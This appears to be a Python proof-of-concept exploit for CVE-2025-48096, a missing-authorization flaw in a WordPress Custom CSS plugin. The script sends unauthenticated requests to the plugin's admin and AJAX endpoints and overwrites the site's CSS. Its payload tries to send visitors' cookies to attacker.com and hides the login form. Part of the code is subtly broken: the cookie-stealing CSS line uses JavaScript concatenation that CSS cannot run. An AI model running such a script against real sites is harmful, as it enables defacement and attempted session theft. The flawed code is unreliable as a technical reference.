CVE-2025-48096 WordPress Custom CSS插件权限绕过漏洞

# CVE-2025-48096 PoC - Custom CSS Plugin Broken Access Control # Vulnerability: Missing Authorization in FRESHFACE Custom CSS plugin (<= 1.4.0) # Attacker can modify custom CSS without authentication import requests # Target WordPress site URL target_url = "http://target-wordpress-site.com" # The vulnerable endpoint (custom-css-editor plugin) # The plugin fails to verify user capabilities before processing CSS update requests exploit_endpoint = f"{target_url}/wp-admin/admin.php?page=custom-css-editor" # Crafted payload to inject malicious CSS # This payload demonstrates arbitrary CSS modification without authentication malicious_css_payload = { "action": "save_custom_css", "custom_css": """ body { background: url('http://attacker.com/log?cookie=' + document.cookie); } .login-form { opacity: 0; pointer-events: none; } """, # Missing nonce and capability check allows unauthenticated access "submit": "Save Changes" } # Send exploit request without any authentication response = requests.post( exploit_endpoint, data=malicious_css_payload, headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } ) if response.status_code == 200 and "saved" in response.text.lower(): print("[+] Exploit successful! Custom CSS modified without authentication.") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Exploit may have failed. Status code: {response.status_code}") print(f"[-] Response: {response.text[:500]}") # Alternative: Direct AJAX endpoint exploitation ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" ajax_payload = { "action": "custom_css_save", "css_content": "/* Malicious CSS injected via broken access control */", } response = requests.post(ajax_endpoint, data=ajax_payload) print(f"[*] AJAX endpoint response: {response.status_code}")